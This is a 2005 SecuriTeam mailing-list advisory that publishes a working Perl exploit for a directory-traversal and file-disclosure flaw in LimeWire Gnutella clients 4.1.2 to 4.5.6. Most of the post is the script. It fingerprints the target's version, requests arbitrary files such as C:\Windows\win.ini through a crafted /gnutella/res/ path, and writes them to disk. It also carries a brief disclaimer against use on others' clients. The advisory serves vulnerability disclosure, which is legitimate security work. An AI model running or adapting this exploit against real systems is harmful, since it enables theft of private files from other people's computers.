[EXPL] LimeWire File Disclosure Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 03/28/05

  • Next message: SecuriTeam: "[EXPL] Tincat Buffer Overflow" 
    To: list@securiteam.com
Date: 28 Mar 2005 10:12:48 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      LimeWire File Disclosure Exploit
    ------------------------------------------------------------------------

    SUMMARY

    This script exploits recently reported vulnerability in LimeWire Gnutella
    client, <http://www.securiteam.com/securitynews/5AP0A20F6U.html> LimeWire
    Gnutella Client Directory Traversal and File Disclosure. The script allows
    fetching text files from system running vulnerable versions of LimeWire.

    DETAILS

    Vulnerable Systems:
     * LimeWire versions 4.1.2 up to version 4.5.6

    #!/usr/bin/perl
    #
    # This is just a quick and dirty script to grab textfiles. Doesn't work on
    binaries.
    #
    # Note: Using this code to 'hack' LimeWire clients other than your own is
    illegal and should NOT be done!
    #
    # (c)2005 Marco van Berkum

    use IO::Socket;

    if(!$ARGV[2] || $ARGV[1] !~ /\\/) {
     die "Usage: ./limehack.pl host \"file you want\" outputfile
    [nondefaultport if needed]\n\nExample: ./limehack.pl 127.0.0.1
    \"C:\\Windows\\win.ini\" win.ini \(don\'t forget the quotes\)\nUse the
    silly DOS way when requesting files with spaces, Progra~1 etc..\n\n";
    }

    $host = $ARGV[0];
    $file = $ARGV[1];
    $outputfile = $ARGV[2];
    $port = $ARGV[3];
    $readtimeout = "15"; # set longer for big files

    if(!$port) { $port = 6346; }

    # open sock
    my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port,
    Proto => 'tcp', Timeout => '5') || die "Connection refused\n";

    # wheee socket;
    if($sock) {
     print $sock "HEAD ?\n\n";
     sleep(5);
     sysread($sock, $buff, 1000);
     close($sock);
    }

    ($temp, $server, $temp) = split(/Request|Content-Type/,$buff);
    undef($buff);
    ($temp, $version) = split(/Server: /,$server);
    chomp($version);

    if($version =~ /limewire/i) {
     ($temp, $versionnodots) = split(/\//,$version);
     $versionnodots =~ s/\.//g;
     if($versionnodots >= 412 && $versionnodots <= 456) {
     print("Vulnerable LimeWire!\n");
     } else { die "Not a vulnerable LimeWire server \:\(\n"; }

    } else { die "Not a LimeWire server!\n" }

    print "Requesting file: $file.....\n";
    my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port,
    Proto => 'tcp', Timeout => '5') || die "Connection refused, host died?\n";

    # wheee socket;
    if($sock) {
     print $sock "GET /gnutella/res/$file HTTP/1.1\n\n";

     sleep($readtimeout);
     sysread($sock, $buff, 9999999);
    }

    if($buff =~ /200 OK/) {
     print "\nGot it!\nYou hacked!!!\n";
     print "The file is saved as $outputfile!\n";
     ($temp, $data) = split(/Content-Length:.*/,$buff);
     $data =~ s/^\n//g;
     open FILE, ">$outputfile";
     print FILE "$data";
     close FILE;
    } else {
    print "File not found!\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:marco@jammerjoh.xs4all.nl>
    Marco van Berkum.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Tincat Buffer Overflow"

    Relevant Pages